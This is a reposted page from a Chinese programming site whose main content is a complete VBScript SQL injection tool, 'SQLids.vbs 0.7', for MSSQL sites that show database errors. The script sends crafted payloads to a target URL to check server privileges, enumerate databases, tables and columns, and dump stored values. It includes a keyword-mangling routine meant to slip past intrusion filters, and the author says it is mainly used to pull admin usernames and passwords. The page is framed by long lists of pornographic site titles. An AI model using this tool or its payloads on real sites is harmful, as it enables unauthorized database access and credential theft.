亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

SQLids.vbs 0.7(最終版,以后改成gui界面的)

2020-07-26 11:53:03
字體:
來源:轉載
供稿:網友
是有這個問題的。
第一,應當用正則判斷較好。
第二,我用循環加返回結果大于30個長度就退出循環,我相信沒有表名和字段名大于30個字母的,但是字段值有可能大于,這個地方解決的不夠好。但是一般是用來查后臺的管理員的用戶名和密碼,所以就放棄了。
復制代碼 代碼如下:

set arg=wscript.arguments

If (LCase(Right(Wscript.fullname,11))="Wscript.Exe") Then
Wscript.Quit
End If
if arg.count=0 then
usage()
Wscript.Quit
End If

Sub usage()
wsh.echo string(79,"*")
wsh.echo "暫且只支持mssql顯錯模式,直接寫url為數字型,寫url'為字符型,url里有&請用雙引號包含url"
wsh.echo "sqlids v0.7 for mssql2000 with error by lcx"
wsh.echo "以下兩個腳本可互相參考"
wsh.echo "http://www.49028c.com/article/14172.htm"
wsh.echo "http://hi.baidu.com/myvbscript/blog/item/5c9b29124a3fa55bf919b878.html"
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptname&" url limit ||----------->得到當前權限"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?id=1 limit"
wsh.echo "cscript "&wscript.scriptname&" url dbname ||----------->得到全部庫名"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?id=1 dbname"
wsh.echo "cscript "&wscript.scriptname&" url table 庫名||-------->得到所給庫的全部表名"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?id=1 table
master"
wsh.echo "cscript "&wscript.scriptname&" url filed 庫名 表名 ||---------->得到所給庫所給表的全部字段"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?
id=1 filed master spt_server_info"
wsh.echo "cscript "&wscript.scriptname&" url result 字段名 庫名 表名||--->得所給庫、表、字段的字段值"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?
id=1 result id master sysinfo"
wsh.echo "cscript "&wscript.scriptname&" url search 你要查找的字段名||--->根據關鍵字查找字段"&vbcrlf&"Ex:cscript sql.vbs http://ww.x.com/1.asp?id=1 search
pass"
wsh.echo string(79,"*")&vbcrlf
end Sub


Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage = BytesToBstr(t, "GB2312")
End Function

Function UrlEncode(str)
str = Replace(str," ","%20")
UrlEncode = str
End Function

Function GetBody(url)' xml得到網頁源碼,可以改成cookie或get提交
On Error Resume Next
Aurl=Split(url,"?") '這是為post提交的
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "post", Aurl(0), False, "", ""
.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
.setRequestHeader "Accept-Encoding", "gzip, deflate"
.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR
3.0.04506; .NET CLR 1.1.4322)"
.setRequestHeader "Connection", "Keep-Alive"
.setRequestHeader "Cache-Control", "no-cache"
.Send UrlEncode(Aurl(1)) 'post提交
GetBody = .ResponseBody
.abort
End With
Set Retrieval = Nothing
End Function


Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write Body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadTExt
objstream.Close
Set objstream = Nothing
End Function


Function ReplaceKeyWord(Value)'繞過ids過慮
Table = "select->se%lect|[k]|insert->in%sert|[k]|update->u%pdate|[k]|delete->dele%te|[k]|drop->dr%op|[k]|alter->al%ter|[k]|create->crea%te|[k]|inner->in%
ner|[k]|join->jo%in|[k]|from->fro%m|[k]|where->w%here|[k]|union->unio%n|[k]|group->grou%p|[k]|by->b%y|[k]|having->hav%ing|[k]|table->tab%le|[k]|shutdown-
>shu%tdown|[k]|kill->k%ill|[k]|declare->dec%lare|[k]|open->o%pen|[k]|pwdencrypt->pwdencr%ypt|[k]|msdasql->m%sdasql|[k]|sqloledb->sqlo%ledb|[k]|char->c%har|
[k]|fetch->fe%tch|[k]|nExt->ne%xt|[k]|allocate->al%locate|[k]|sys->s%ys|[k]|raiserror->raiser%ror|[k]|Exec->e%xec|[k]|=!->=%!|[k]|--->-%-|[k]|xp_->x%p_|[k]
|sp_->s%p_|[k]|and->a%nd"
Dim i, Relpacement, Temp
Relpacement = Split(Table, "|[k]|")
ReplaceKeyWord = Value
For i = 0 to UBound(Relpacement)
Temp = Split(Relpacement(i), "->")
If UBound(Temp) = 1 Then ReplaceKeyWord = Replace(ReplaceKeyWord, Temp(0), Temp(1))
NExt
End Function


Function result(sHTMLTEMP) '用varchar做關鍵字分隔網頁內容,用正則帥一點,可惜不太會
aHTML = Split(sHTMLTEMP, "varchar")
If(UBound(aHTML) > 0)Then
sHTMLTEMP = aHTML(1)
aHTML = Split(sHTMLTEMP, "'")
sHTMLTEMP = aHTML(1)
End If
result=sHTMLTEMP
End Function

Function Str2HEx(strHEx)'sql的16進制轉換函數
Dim sHEx
For i = 1 To Len(strHEx)
sHEx = sHEx & HEx(Asc(Mid(strHEx,i,1)))&"00"
NExt
Str2HEx = "0x"&sHEx
End Function

Function Str2HExtwo(strHEx)'sql的16進制轉換函數
Dim sHEx
For i = 1 To Len(strHEx)
sHEx = sHEx & HEx(Asc(Mid(strHEx,i,1)))
NExt
Str2HExtwo = "0x"&sHEx
End Function


Function MoveR(Rstr) '去重復
Dim i,SpStr
SpStr = Split(Rstr,",")
For i = 0 To Ubound(Spstr)
If I = 0 then
MoveR = MoveR & SpStr(i) & ","
Else
If instr(MoveR,SpStr(i))=0 and i=Ubound(Spstr) Then
MoveR = MoveR & SpStr(i)
Elseif instr(MoveR,SpStr(i))=0 Then
MoveR = MoveR & SpStr(i) & ","
End If
End If
NExt
End Function


function page(sql)
page=Replace(getHTTPPage(url&" "&ReplaceKeyWord(sql)),Chr(34),"")
End Function

url=arg(0)

injection =arg(1)


'--------------------------------------以下代碼是注入語句,完全不需要引號
select case arg(1)

Case "limit"
body=Replace(getHTTPPage(url),Chr(34),"")
'語句單獨提出來,方便以后修改,第一條是sa,第二條是DB_owner
sqlone="and (select is_srvrolemember(0x730079007300610064006D0069006E00))>0--"
sqltwo="and (select is_member(0x640062005F006F0077006E0065007200))>0--"
Bodyone=page(sqlone)
bodytwo=page(sqltwo)
wsh.echo "當前信息:"
If Len(body)=Len(Bodyone) Then wsh.echo "SA"

If Len(body)=Len(Bodytwo) And Len(body)<>Len(Bodyone) Then
wsh.echo "DB_owner"
Else
wsh.echo "PUBLIC"
End If

sqlthtree="and @@servername>0--|and @@version>0--|and user>0--|and db_name()>0--"
rtemp=Split(sqlthtree,"|")
servername=result(page(rtemp(0)))
version=result(page(rtemp(1)))
user=result(page(rtemp(2)))
db_name=result(page(rtemp(3)))
wsh.echo "servername:"&servername
wsh.echo "version:"&version
wsh.echo "user:"& user
wsh.echo "db_name:"& db_name

case "dbname"
i=1
Do
sql="and db_name("&i&")>0--" '暴庫名語句
Body = page(sql)
k=InstrRev(body,"varchar", -1, 0)
i=i+1
If k<>0 Then
wscript.echo result(body)
Else
wsh.echo "========over============"
End if
Loop Until k=0

case "table"
i=1
Do
' 表名語句 agr(2)表示庫
sql="and 0<>(select top 1 name from "&arg(2)&".dbo.sysobjects where xtype=0x7500 and name not in (select top "& i &" name from "&arg(2)&".dbo.sysobjects
where xtype=0x7500))--"
Body = page(sql)
k=InstrRev(body,"varchar", -1, 0)
i=i+1
If k<>0 Then
wscript.echo result(body)
Else
wsh.echo "========over============"
End if
Loop Until k=0

case "filed"
sqlbiaoid="an%d (se%l%e%c%t to%p 1 ca%st(id as nvarch%ar(20))%2bch%ar(124) fr%om ["&arg(2)&"]..[sy%sob%je%cts] wh%ere name="&Str2HEx(arg(3))&")=0--
"
biaoid=result(page(sqlbiaoid))
biaoid=Replace(biaoid,Chr(124),"")
sqlclounmcnt="an%d (se%l%e%c%t ca%st(co%unt(1) as varch%ar(10))%2bch%ar(94) fr%om ["&arg(2)&"]..[sys%columns] wh%ere id="&biaoid&")=0-- "
k=Replace(result(page(sqlclounmcnt)),Chr(94),"")
wsh.echo "共有列名"&k&"個"
For i=1 To k
sqlfiled=" an%d (se%l%e%c%t to%p 1 ca%st(name as varch%ar(8000)) fr%om (se%l%e%c%t to%p "&i&" colid,name fr%om ["&arg(2)&"]..[sys%columns] wh%ere
id="&biaoid&" order by colid) t order by colid desc)=0--"
wsh.echo result(page(sqlfiled))
nExt


case "result"

i=1
sqlcloum="and (select cast(count(1) as varch%ar(8000))%2bchar(94) from ["&arg(3)&"]..["&arg(4)&"] where 1=1)>0--" '暴列的總數目語句
k=result(page(sqlcloum))
k=Replace(k,Chr(94),"")
wsh.echo arg(2)&"字段共有記錄數"&k&"個"&vbcrlf
For i=1 To k
sqlneirong= "an%d (se%l%e%c%t to%p 1 ca%st("&arg(2)&" as varch%ar)%2bch%ar(94) fr%om (se%l%e%c%t to%p "&i&" ["&arg(2)&"] fr%om ["&arg(3)&"]..["&arg(4)
&"] wh%ere 1=1 order by ["&arg(2)&"]) t wh%ere 1=1 order by ["&arg(2)&"] desc )=0--"
Body = page(sqlneirong)
wscript.echo Replace(result(body),Chr(94),"")
Next


Case "search"
love=Str2HExtwo(arg(2))
wscript.echo "請稍候,正在查循,暫且只列10條,結果顯示為'表名|字段名'格式"
TimeSpend = Timer
For i=1 To 10 '可以根據需要改動這個10
sqlsearch="And (select/* */top/* */1/* */t_name%2bchar(124)%2bc_name/* */from/* */(select/* */top/* */"&i&"/* */object_name(id)/* */as/* */t_name,name/*
*/as/* */c_name/* */from/* */syscolumns/* */where/* */charindEx(cast("&love&"/* */as/* */varchar(2000)),name)%3E0/* */and/* */left(name,1)!=0x40/* */order/*
*/by/* */t_name/* */asc)/* */as/* */T/* */order/* */by/* */t_name/* */desc)>0--"
Body = page(sqlsearch)
body=result(body)
a=a&body&","
NExt
TimeSpend = round(Timer - TimeSpend,2)
wsh.echo MoveR(a)
wsh.echo "用時:" & TimeSpend & "秒."




Case Else
If arg(1)<>"limit" Or arg(1)<>"dbname" Or arg(1)<>"search" Or arg(1)<>"table" Or arg(1)<>"filed" Then
wscript.echo "注意參數"
usage()
End if
end select


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
久久久久久久爱| 久久久av亚洲男天堂| 九九热精品视频国产| 国产精品亚洲片夜色在线| 2019中文字幕在线| 一区二区欧美日韩视频| 国产mv久久久| 国产亚洲欧美日韩精品| 国产成人精品视频在线| 欧美国产日韩精品| 久久精品视频免费播放| 午夜精品久久久久久久99热| 亚洲欧美日韩天堂| 欧美日韩午夜激情| 日产日韩在线亚洲欧美| 国产成人精品免高潮在线观看| 日韩精品免费视频| 欧美精品videosex性欧美| 亚洲国产精品国自产拍av秋霞| 亚洲xxxx在线| 日韩电视剧在线观看免费网站| 视频一区视频二区国产精品| 中文字幕精品av| 疯狂蹂躏欧美一区二区精品| 亚洲成色777777女色窝| 日本精品久久电影| 97国产真实伦对白精彩视频8| 国产日韩中文在线| 在线日韩日本国产亚洲| 九九九久久国产免费| 91丝袜美腿美女视频网站| 这里只有视频精品| 欧美裸身视频免费观看| 国产精品高清在线观看| 国产日韩精品在线观看| 高潮白浆女日韩av免费看| 欧美丰满少妇xxxxx做受| www.久久撸.com| 精品视频在线导航| 久久久免费精品视频| 国内精品一区二区三区四区| 538国产精品一区二区在线| 中文字幕亚洲情99在线| 97色在线观看| 久久久亚洲国产天美传媒修理工| 国外成人在线播放| 日韩美女视频免费在线观看| 欧美亚洲日本黄色| 日本最新高清不卡中文字幕| 亚洲一区免费网站| www.亚洲成人| 疯狂蹂躏欧美一区二区精品| 国产美女被下药99| 欧美性猛交xxxx黑人猛交| 国语自产精品视频在线看| 亚洲石原莉奈一区二区在线观看| 尤物yw午夜国产精品视频明星| 97超碰蝌蚪网人人做人人爽| 国产精品大片wwwwww| 狠狠躁夜夜躁久久躁别揉| 51视频国产精品一区二区| 欧美性69xxxx肥| 日韩中文字幕网| 91成人精品网站| 亚洲人成欧美中文字幕| 成人日韩在线电影| 欧美激情综合亚洲一二区| 中文字幕免费国产精品| 亚洲视频在线观看免费| 国产日产欧美a一级在线| 日韩精品www| 国产一区二区三区在线播放免费观看| 亚洲欧洲午夜一线一品| 91在线视频免费| 欧美日韩精品中文字幕| 日韩在线观看视频免费| 亚洲欧美日韩精品久久| 亚洲成人在线网| 国产欧美精品日韩精品| 日韩在线一区二区三区免费视频| 国产做受69高潮| 日本不卡视频在线播放| 欧美国产日韩一区二区在线观看| 美女扒开尿口让男人操亚洲视频网站| 中文字幕日韩在线视频| 亚洲第一男人天堂| 日韩一区二区在线视频| 欧美午夜女人视频在线| 久久国产色av| 色妞久久福利网| 日韩av日韩在线观看| 91po在线观看91精品国产性色| 日韩av电影中文字幕| 久久99亚洲精品| 91九色精品视频| 国产欧美一区二区三区四区| 国产精品美女久久| 精品国产一区二区三区久久久狼| 国产日韩欧美在线播放| 国产高清视频一区三区| 国产欧美精品在线播放| 欧美专区国产专区| 日韩美女视频免费在线观看| 精品一区二区三区四区| 精品爽片免费看久久| 国产精品三级美女白浆呻吟| 狠狠久久亚洲欧美专区| 成人中心免费视频| 色午夜这里只有精品| 久久成人人人人精品欧| 国产日韩欧美视频在线| 亚洲欧美一区二区精品久久久| 欧美老女人在线视频| 欧洲亚洲免费视频| 久久综合九色九九| 不卡av日日日| 最新69国产成人精品视频免费| 国产日韩av在线| 欧美高清理论片| 隔壁老王国产在线精品| 九九热精品视频| 久久影视电视剧免费网站| 国产精品日韩欧美大师| 98午夜经典影视| 在线观看欧美成人| 国产成人精品a视频一区www| 91免费电影网站| 91久久在线播放| 欧美性猛交xxxx乱大交极品| 久久夜精品香蕉| 久久久天堂国产精品女人| 久久久亚洲欧洲日产国码aⅴ| 九九热这里只有在线精品视| 精品亚洲一区二区三区四区五区| 青青久久aⅴ北条麻妃| 成人免费视频在线观看超级碰| 精品成人国产在线观看男人呻吟| 国产成人一区二区| 久久久久久97| 国产一区二区丝袜高跟鞋图片| 成人日韩av在线| 精品国产视频在线| 91亚洲精华国产精华| 亚洲成人av在线播放| 中文字幕日韩av综合精品| 国产z一区二区三区| 亚洲第一在线视频| 亚洲色图综合网| 久久精品99国产精品酒店日本| 热久久99这里有精品| 欧美肥婆姓交大片| 91精品国产91久久| 国产日韩欧美夫妻视频在线观看| 色偷偷噜噜噜亚洲男人的天堂| 欧美成人免费全部观看天天性色| 欧美黑人一级爽快片淫片高清| 亚洲欧美激情精品一区二区| 尤物99国产成人精品视频| 欧美在线免费观看| 九九九久久国产免费| 国产精品一区二区三区成人| 国产精品久久色| 色先锋资源久久综合5566| 91福利视频在线观看|